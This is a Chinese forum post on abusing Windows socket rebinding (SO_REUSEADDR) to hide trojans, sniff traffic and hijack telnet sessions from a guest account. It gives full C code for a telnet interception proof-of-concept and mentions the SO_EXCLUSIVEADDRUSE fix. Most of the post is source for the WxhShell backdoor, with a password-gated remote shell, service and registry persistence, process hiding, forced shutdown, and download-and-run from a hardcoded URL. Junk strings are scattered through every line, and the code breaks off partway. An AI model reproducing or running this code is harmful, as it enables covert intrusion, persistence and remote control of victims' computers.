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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: DyZ90]N  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); i% lB U 1  
^)pY2t<^  
  saddr.sin_family = AF_INET; 4Pdk?vHK;  
lukV G2wDL  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); z+I-3v  
es]m 6A  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr));  :i$Z  
o7seGw<$X  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 6iWuBsal  
BI]t}7  
  这意味着什么?意味着可以进行如下的攻击: mY( _-[W  
[\yI<^_a  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 V:J6eks_  
2ZeL  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) kv b-=  
bwFc>{Wo5  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 w%\;|y4+  
vGw}e&YI  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  -~k2Gy;E  
8=9sIK2  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 opC11c/  
wP9C\W;  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 $@j7VPE  
Z}wAh|N-  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 c[$oR,2b13  
)%7A. UO)  
  #include =Yk$Q\c  
  #include |T%/d#b~  
  #include !@X#{  
  #include    /'(P{O>{j  
  DWORD WINAPI ClientThread(LPVOID lpParam);   aRmS{X3  
  int main() 5;l_-0=  
  { 6z*L9Vy($  
  WORD wVersionRequested; KI{u:Lbi  
  DWORD ret; b4wJnmC8  
  WSADATA wsaData; 0&x)5^lG  
  BOOL val; 4hs4W,2!  
  SOCKADDR_IN saddr; 4o8!p\a  
  SOCKADDR_IN scaddr; "=;&{N~8U  
  int err; ES>3Cf  
  SOCKET s; !QovpO">z  
  SOCKET sc; THJ+OnP  
  int caddsize; DxBt83e  
  HANDLE mt; :U s-^zVr  
  DWORD tid;   pqK3u)  
  wVersionRequested = MAKEWORD( 2, 2 ); QWkw$mcf  
  err = WSAStartup( wVersionRequested, &wsaData ); b/EvcN8 }  
  if ( err != 0 ) { f2=s{0SX0  
  printf("error!WSAStartup failed!\n"); 3kMiC$  
  return -1; vIJdl2(^E  
  } Ou%>Dd5|?  
  saddr.sin_family = AF_INET; i@RjG   
   |&JL6hN  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 weOMYJO;8  
SYL$ ?kl  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); jd{J3s '%  
  saddr.sin_port = htons(23); 580t@?  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) l;2bBx7vW  
  { m3D'7*U  
  printf("error!socket failed!\n"); ~$$V=$&  
  return -1;  -<sXvn  
  } NXx}KF c  
  val = TRUE; NJp;t[v.^  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 :\[F=  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ?|33Np)  
  { ^\!p ;R  
  printf("error!setsockopt failed!\n"); it,%T)2H  
  return -1; 1pK7EK3R  
  } A9#2.5  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ;kbz(:wA  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 C{) )T5G  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 U:>O6"  
P(4[<'H O  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) EW`3h9v~  
  { sxqX R6p{  
  ret=GetLastError(); f6XWA_[i@  
  printf("error!bind failed!\n"); q=bXHtU  
  return -1; q\,H9/.0k  
  } n)0{mDf%  
  listen(s,2); 5HU>o|.  
  while(1) 2{& " 3dq  
  { J 4gIkZD  
  caddsize = sizeof(scaddr); >3bpa<M_  
  //接受连接请求 ji2#O.  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); WC4Il C  
  if(sc!=INVALID_SOCKET) FKQnz/  
  { u4 "+u"{d  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); W+#?3s[FV  
  if(mt==NULL) @MM|.# ~T  
  { +]6 EkZO  
  printf("Thread Creat Failed!\n"); %%_90t  
  break; [bp"U*!9P  
  } 1.!(#I3  
  } k\lj<v<vD  
  CloseHandle(mt); \!PC:+u J  
  } wqyAEVea'8  
  closesocket(s); ~t}:vGDj  
  WSACleanup(); BYY>;>V  
  return 0; 23=;v@  
  }   YmwVa s  
  DWORD WINAPI ClientThread(LPVOID lpParam) _EY :vv  
  { qgDBu\  
  SOCKET ss = (SOCKET)lpParam; 1pn167IQL  
  SOCKET sc; .D)}MyKnu  
  unsigned char buf[4096]; 1>2397  
  SOCKADDR_IN saddr; `DwlS!0  
  long num; iTX.? *  
  DWORD val; &5a>5ZG}  
  DWORD ret; 3w@)/ujn  
  //如果是隐藏端口应用的话,可以在此处加一些判断 S HvML  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   zx!1jS  
  saddr.sin_family = AF_INET; i{8=;  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); [bcqaT  
  saddr.sin_port = htons(23); <Z&gAqj 2  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }$o%^ "[  
  { !nu['6I%  
  printf("error!socket failed!\n"); /L~*FQQK>  
  return -1; `A'*x]l  
  } 4?&=H *H:  
  val = 100;  w&-r  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `i{:mio  
  { 0I k@d'7  
  ret = GetLastError(); ;?cUF78#  
  return -1; }}]Y mf  
  } Ax\Fg 5  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) vr;7p[~  
  { )uaB^L1  
  ret = GetLastError(); %9Ue`8  
  return -1; %>bwpN  
  } ]* Hz'  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) GwvxX&P  
  { ' ZJ6p0  
  printf("error!socket connect failed!\n"); <(iOzn  
  closesocket(sc); v6r w.  
  closesocket(ss); <s:Xj  
  return -1; !6KEW,  
  } }[Y):Yy  
  while(1) X4TUi8ht!]  
  { 4e(@b3y  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Uag1vW,c  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 oacY-&  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 *Dn{MD7,M  
  num = recv(ss,buf,4096,0); XkD_SaL}  
  if(num>0) v ipmzg(S  
  send(sc,buf,num,0); eyM3W}[S$/  
  else if(num==0) UOY1^wY  
  break; UWnH2  
  num = recv(sc,buf,4096,0); &A9+%kOk>  
  if(num>0) <Du*Re6g  
  send(ss,buf,num,0); VMHY.Rf  
  else if(num==0) 94R+S-|P  
  break; $DVy$)a!u  
  } D9Z5g3s7R  
  closesocket(ss); _&M>f?l  
  closesocket(sc); `+6HHtF  
  return 0 ; A gPg0(G  
  } V+8+ 17^  
w;_Ds  
WS(c0c  
========================================================== &zT~3 >2  
h;lnc| Hw  
下边附上一个代码,,WXhSHELL ?( '%QfT  
_PaO w%Y9  
========================================================== ALv\"uUNu+  
) ad-s  
#include "stdafx.h" MnQ_]c C  
jQDxbkIuzE  
#include <stdio.h> 9f @)EKBK  
#include <string.h> vfm-K;,#  
#include <windows.h> o]Ki+ U  
#include <winsock2.h> cBA[D~s  
#include <winsvc.h> ieI-_]|[  
#include <urlmon.h> e'6?iLpy  
&-zI7@!  
#pragma comment (lib, "Ws2_32.lib") 5J;c;PF  
#pragma comment (lib, "urlmon.lib") a$GKrc,z  
jDnh/k0{d  
#define MAX_USER   100 // 最大客户端连接数 X}yYBf/R`  
#define BUF_SOCK   200 // sock buffer  fwEi//1  
#define KEY_BUFF   255 // 输入 buffer m "DMa  
*G^]j )/  
#define REBOOT     0   // 重启 V6k9L*VP  
#define SHUTDOWN   1   // 关机 ?Y9?x,x  
".\(A f2  
#define DEF_PORT   5000 // 监听端口 8M|Q^VeT,1  
wB^a1=C  
#define REG_LEN     16   // 注册表键长度 [=Z{y8#:J  
#define SVC_LEN     80   // NT服务名长度 3XRG"  
*.RVH<W=8  
// 从dll定义API ]Oy<zU  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); UQFuEI<1-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); pr"flRQr#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7d)aDc*TjW  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); iCS/~[  
dUZ&Ty^{  
// wxhshell配置信息 d1-p];&  
struct WSCFG { S&*pR3,u  
  int ws_port;         // 监听端口 if'4MDl  
  char ws_passstr[REG_LEN]; // 口令 N[-)c,O  
  int ws_autoins;       // 安装标记, 1=yes 0=no >UMnItq(l  
  char ws_regname[REG_LEN]; // 注册表键名 `Nn?G  
  char ws_svcname[REG_LEN]; // 服务名 s__g*%@B b  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Z ux2VepT  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Mx"tUoU6z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 brWt  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Q)>'fZ)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0h#M)Ft  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 BXY'%8q _a  
keOW{:^i  
}; Vd4osBu{fY  
#pfosC[  
// default Wxhshell configuration 1*h7L<#|mQ  
struct WSCFG wscfg={DEF_PORT, BP$#a #  
    "xuhuanlingzhe", Xdt+ \}\  
    1, 8H?AL RG  
    "Wxhshell", c29Z1Zs2)  
    "Wxhshell", SO/]d70HG  
            "WxhShell Service", Hw{Y.@)4R  
    "Wrsky Windows CmdShell Service", >gJWp@6V  
    "Please Input Your Password: ", @_3$(*n$~  
  1, x3 |'jmg  
  "http://www.wrsky.com/wxhshell.exe", s`RJl V  
  "Wxhshell.exe" Y=Qf!Cq]  
    }; T*yveo &j  
5g5NTm`=<  
// 消息定义模块 m12 B:f  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; m{c#cR  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [[Z>(d$8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; sdQv:nd'R  
char *msg_ws_ext="\n\rExit."; Wh5O{G@Ut  
char *msg_ws_end="\n\rQuit."; Z"X*FzFo  
char *msg_ws_boot="\n\rReboot..."; DT4RodE$  
char *msg_ws_poff="\n\rShutdown..."; Hw&M2a  
char *msg_ws_down="\n\rSave to "; ~b0qrjF;O  
yan[{h]EZ  
char *msg_ws_err="\n\rErr!"; p)xI5,b$9  
char *msg_ws_ok="\n\rOK!"; `g N68:B  
uFZB8+  
char ExeFile[MAX_PATH]; EG4bFmcs  
int nUser = 0; <|3v@  
HANDLE handles[MAX_USER]; ]xEE7H]\h  
int OsIsNt; W+e*(W|d6  
4&hqeY3  
SERVICE_STATUS       serviceStatus; K-C-+RB  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; + t4m\/y  
**w~  
// 函数声明 :iB%JY Ad  
int Install(void); 2_n*u^X:_  
int Uninstall(void); z.&% >%TPP  
int DownloadFile(char *sURL, SOCKET wsh); j%jd@z ]@  
int Boot(int flag); 5dw@g4N %^  
void HideProc(void); pm@Z[g  
int GetOsVer(void); x9A ZS#e)[  
int Wxhshell(SOCKET wsl); '. Hp*9R  
void TalkWithClient(void *cs); yVQz<tX|  
int CmdShell(SOCKET sock); &iy(oM  
int StartFromService(void); sJK:xk.6!  
int StartWxhshell(LPSTR lpCmdLine); =GKYroNM  
DPQGh`J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); XW_xNkpL5c  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^@lg5d3F  
8pMZ~W;  
// 数据结构和表定义 " IkF/  
SERVICE_TABLE_ENTRY DispatchTable[] = pkfOM"5'  
{ Po11EZa$a  
{wscfg.ws_svcname, NTServiceMain}, pUMB)(<k  
{NULL, NULL} 4O_+4yS  
}; 'h6} cw+K  
*R\/#Y|  
// 自我安装 J*~2 :{=%  
int Install(void) DT"Zq  
{ ->2wrOH|H  
  char svExeFile[MAX_PATH]; ph12x: @B  
  HKEY key; x$?7)F&z  
  strcpy(svExeFile,ExeFile); u4,X.3V]A  
wQ=yY$VP  
// 如果是win9x系统,修改注册表设为自启动 MRg\FR 2>1  
if(!OsIsNt) { +>:_kE]?nX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "K+N f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a3dzok  
  RegCloseKey(key); x #X#V\w=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "ex~ LB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?+,*YVT  
  RegCloseKey(key); gUH'DS]{  
  return 0; iPY vePQ  
    } O`[iz/7m  
  } Dj ]Hgg  
} mB^I @oZ*  
else { g"!#]LLe  
ELrZ8&5G  
// 如果是NT以上系统,安装为系统服务 o~o6S=4,}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2Z;`#{  
if (schSCManager!=0) > 0Twr  
{ 7Z`Mt9:Ht  
  SC_HANDLE schService = CreateService 3:~l2KIP4  
  ( 2c"N-c&A  
  schSCManager, tFvgvx\:  
  wscfg.ws_svcname, !M]%8NTt2  
  wscfg.ws_svcdisp, Ku0H?qft(  
  SERVICE_ALL_ACCESS, z>mZT.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , E)80S.V  
  SERVICE_AUTO_START, %uz|NRB=  
  SERVICE_ERROR_NORMAL, YV1a 3  
  svExeFile, :,S8T%d  
  NULL, _z<Y#mik  
  NULL, S)\JWXi~:J  
  NULL, qu<B%v  
  NULL, |B%BwE  
  NULL 49xp2{  
  ); k(-Z@   
  if (schService!=0) wuIsO;}/9  
  { "GwWu-GS  
  CloseServiceHandle(schService); =`]|/<=9'U  
  CloseServiceHandle(schSCManager); '0R/6Z|/Y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); WyBQ{H{So  
  strcat(svExeFile,wscfg.ws_svcname); DOF?(:8Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { a9D gy_!Y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); MfXt+c`r  
  RegCloseKey(key); HUU >hq9  
  return 0; ;OQ'B=uK  
    } 8^<c,!DM  
  } #$rf-E5g-K  
  CloseServiceHandle(schSCManager); 7y>Tn`V8G  
} ~:/%/-^  
} '?{0z!!  
:SQDqG   
return 1; Exep+x-  
} TnN^2:cU  
wUru1_zjO  
// 自我卸载 ?G4iOiyt  
int Uninstall(void) ur/Oc24i1n  
{ F-$Z,Q]S  
  HKEY key; 9nng}em>.  
\g~ws9'~  
if(!OsIsNt) { \yih 1Om>~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V.K70)]  
  RegDeleteValue(key,wscfg.ws_regname); l9_m>X~   
  RegCloseKey(key); 9USrgY6_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Rz.i/w g}  
  RegDeleteValue(key,wscfg.ws_regname); " t5 +*  
  RegCloseKey(key); "2ZIoa!^  
  return 0; u{g]gA8s  
  } Q<RT12|`  
} 8s QQK.N(  
} **T:eI+  
else { "[awmZ:wo  
'fS?xDs-v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); J Z %`%rA  
if (schSCManager!=0) W.yV/fu  
{ gXq!a|eH  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); kk 8R  
  if (schService!=0) "%:7j!#X|I  
  { E=;BI">.  
  if(DeleteService(schService)!=0) { Xy[}Gp  
  CloseServiceHandle(schService); Z -pyFK\  
  CloseServiceHandle(schSCManager); Qe2m8  
  return 0; tegOT]|  
  } c*.G]nRc  
  CloseServiceHandle(schService); D",A$(lG  
  } xM%H~(  
  CloseServiceHandle(schSCManager); hX0RET  
} G+ :bL S#:  
} 2#'rk'X,K  
VKT@2HjNT`  
return 1; V)2"l"Kt  
} +7Sf8tg\  
&\&'L|0F  
// 从指定url下载文件 3sS=?q  
int DownloadFile(char *sURL, SOCKET wsh) NV&;e[z  
{ U^B"|lc:[  
  HRESULT hr; K{|w 43>D  
char seps[]= "/"; W=~id"XtJ  
char *token; Xf6fH O  
char *file; NV:>a  
char myURL[MAX_PATH]; e-~hS6p(  
char myFILE[MAX_PATH]; 63.( j P1;  
*]FgfttES  
strcpy(myURL,sURL); .H Fc9^.*  
  token=strtok(myURL,seps); c L?\^K)  
  while(token!=NULL) D._{E*vg  
  { U%Dit  
    file=token; j -#E?&2  
  token=strtok(NULL,seps); d "2wO[  
  } : @s8?eg  
\.5F](:  
GetCurrentDirectory(MAX_PATH,myFILE); .H ,pO#{;  
strcat(myFILE, "\\"); Dp^"J85}   
strcat(myFILE, file); }bZ 8-v  
  send(wsh,myFILE,strlen(myFILE),0); {":c@I  
send(wsh,"...",3,0); +IvNyj|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6@&fvf  
  if(hr==S_OK) 6e*%\2UA  
return 0; OO-_?8I}  
else &xgZF Sq  
return 1; F@g17aa  
[C~fBf5  
} FU[*8^Z  
a-fv[oB  
// 系统电源模块 xne]Q(B>  
int Boot(int flag) Y^4q9?2G  
{ 0%/,>IR>r  
  HANDLE hToken; |4=ihB9+  
  TOKEN_PRIVILEGES tkp; gRHtgR)T3  
z3clUtC+  
  if(OsIsNt) { iM8sX B  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Hyf"iYv+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3b e6p  
    tkp.PrivilegeCount = 1; nZ~kZ |VS  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2v4W6R  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  1y 7y0V  
if(flag==REBOOT) { =`JW1dM  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) YDW|-HIF  
  return 0; 2bkJ /u`i  
} b)d^ `J  
else { lHcA j{6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7vw;Egd@@-  
  return 0; uN8/Q2   
} k j-=xhJ{=  
  } 5PDSA*  
  else { \Fq1^ 8qa  
if(flag==REBOOT) { 7"#f!.E  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,'u*ZB;  
  return 0; GKCM|Y  
} +N7"EROc  
else { o OQ'*7_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) vmLpm xS  
  return 0; N\'TR6_,b  
} mf$Sa58  
} H$Kw=kMw  
z{=v)F5y  
return 1; =MxpH+spI  
} )(lJT&e  
';Nu&D#Ph  
// win9x进程隐藏模块 R#ya,L  
void HideProc(void) +mLD/gK`  
{ Jr]gEBX  
"H$@b`)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); hXc}r6<B  
  if ( hKernel != NULL ) Q(e{~ ]*  
  { s%O Y<B@V2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); I>aGp|4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ' Rc#^U*n  
    FreeLibrary(hKernel); l#$TYJi  
  } )b9_C O}  
o0l7 4  
return; kM;o0wi  
} s&VOwU  
T pD;  
// 获取操作系统版本 BPewc9RxV  
int GetOsVer(void) `;cz;"  
{ d8o ewkiR  
  OSVERSIONINFO winfo; ^Q\XGl  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); xNIGO/uI~  
  GetVersionEx(&winfo); ' %&z.{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) G\ex^&M  
  return 1; Kp&3=e;vn{  
  else 7 >bMzdH  
  return 0; }LQC.!  
} PS}73Y#  
96}eR,  
// 客户端句柄模块 jkt 6/H  
int Wxhshell(SOCKET wsl) b i~=x  
{ GW/WUzK  
  SOCKET wsh; SY T$3|a  
  struct sockaddr_in client; ?4[NNL  
  DWORD myID; X!c?CL  
#c:kCZt#  
  while(nUser<MAX_USER) D5L{T+}Oi%  
{ QNpu TZn#Q  
  int nSize=sizeof(client); l9J*um-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,Xtj;@~-  
  if(wsh==INVALID_SOCKET) return 1; gr+Pl>C{  
niz'b]] +  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #xp(B5  
if(handles[nUser]==0) ) EXJ   
  closesocket(wsh); cmDT +$s  
else mNDuwDd$S  
  nUser++; q.T:0|  
  } ix*muVBj.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); u"Y]P*[k  
kOI !~Qk  
  return 0; (a#pvEY  
} ArXl=s';s4  
S{:Cu}o  
// 关闭 socket 5@f5S0 Y  
void CloseIt(SOCKET wsh) x{hn2]6+eB  
{ N RSU+D-z  
closesocket(wsh); (Ilsk{aB;A  
nUser--; A[JM4x   
ExitThread(0); _#pnjo   
} nzuF]vo  
A3q*$.[  
// 客户端请求句柄 @i1q]0  
void TalkWithClient(void *cs) 1<,/ -H  
{ A*i_|]Q  
BS2?!;,8  
  SOCKET wsh=(SOCKET)cs; BIfi:7I;Q  
  char pwd[SVC_LEN]; $ $4W}Ug3U  
  char cmd[KEY_BUFF]; 2w4MJ,Uw  
char chr[1]; %VJW@S>j/  
int i,j; hW' HT  
~L'nz quF  
  while (nUser < MAX_USER) { XTo8,'UaP  
'n4u-pM(nB  
if(wscfg.ws_passstr) { e{!vNJ0`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P']Y( !L  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \_U*t!  
  //ZeroMemory(pwd,KEY_BUFF); MZ~.(&  
      i=0; 1VLLo~L%  
  while(i<SVC_LEN) { SdI1}&  
KY+]RxX  
  // 设置超时 ipZHSA  
  fd_set FdRead; o5 WW{)Q  
  struct timeval TimeOut; Funj!x'uE  
  FD_ZERO(&FdRead); RGp'b  
  FD_SET(wsh,&FdRead); |M E{gy`5  
  TimeOut.tv_sec=8; bU+9Gi@v  
  TimeOut.tv_usec=0; #T"64%dX  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); H\+-cvl  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); xR}of"  
ML= z<u+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,sI35I J  
  pwd=chr[0]; 6LM9e0oxy  
  if(chr[0]==0xd || chr[0]==0xa) { fU ={a2  
  pwd=0; >EIrw$V$  
  break; |Fp'/~|w2d  
  } P) 1 EA;  
  i++; v#Upw\!  
    } s0!kwrBsp  
!Uy>eji}  
  // 如果是非法用户,关闭 socket o4~kX  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \EI#az=I  
} "L@g3g?|`  
=4>@8=JA  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); OX3Xy7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ke6n/ h5`  
g;G5 r&T  
while(1) { 6b#~;  
s<VJ`Ur  
  ZeroMemory(cmd,KEY_BUFF); LyP`{_"CM  
a}yR p  
      // 自动支持客户端 telnet标准   G_(ct5:_"!  
  j=0; @C_ =*  
  while(j<KEY_BUFF) { 2sun=3qb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NCDxcz;Gb  
  cmd[j]=chr[0]; la`"$f  
  if(chr[0]==0xa || chr[0]==0xd) { Hirr=a3  
  cmd[j]=0; wY`#$)O0*  
  break; ZIW7_Y>_  
  } |j# ^@R  
  j++; ccMd/  
    } :rmauKR  
4(|yD;  
  // 下载文件 vJThU$s-  
  if(strstr(cmd,"http://")) { 8&?p  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); BS.=  
  if(DownloadFile(cmd,wsh)) C P&o%Uc*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); G?ZC 9w]rA  
  else ]}~4J.Yn  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w%2ziwgh  
  } . s-5N\  
  else { JWWInuH  
y/\ZAtnLo  
    switch(cmd[0]) { =mLeMk/7 w  
  xT=ySa$|>  
  // 帮助 )Y[/!  
  case '?': { !ew6 n I  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >#?iO]).  
    break; ;-Ado8  
  } %ET # z!  
  // 安装 tvCcyD%w  
  case 'i': { ^XNw$@&',  
    if(Install()) UOJ*a1BM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ogp{rY  
    else g/B\ObY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QH:>jmC{1h  
    break; q#m!/wod  
    } l.uN$B  
  // 卸载 8=pv/o  
  case 'r': { ,zoB0([  
    if(Uninstall()) Cy6%S).c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6+ ?wnp-  
    else ZIe+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WV@X@]U  
    break; 6N?#b66  
    } ?N`qLGRm  
  // 显示 wxhshell 所在路径 ]2PQ X4t 0  
  case 'p': { R)Q/Ff@o0  
    char svExeFile[MAX_PATH]; `ReGnT[  
    strcpy(svExeFile,"\n\r"); 3jXR"@Z-  
      strcat(svExeFile,ExeFile); ^?nP$+gq  
        send(wsh,svExeFile,strlen(svExeFile),0); G LoiH#R  
    break; HmW=t}!  
    } i`R(7Z  
  // 重启 <5M_EJp  
  case 'b': { "% SX@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); WqR7uiCi  
    if(Boot(REBOOT)) 1*L^^% w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p1klLX  
    else { sbgJw  
    closesocket(wsh); <r_3obRC  
    ExitThread(0); 4`$5 _} j!  
    } We\KDU\n  
    break; ;4l-M2  
    } gji*Wq  
  // 关机 Bj; [  
  case 'd': { R9Ldl97'  
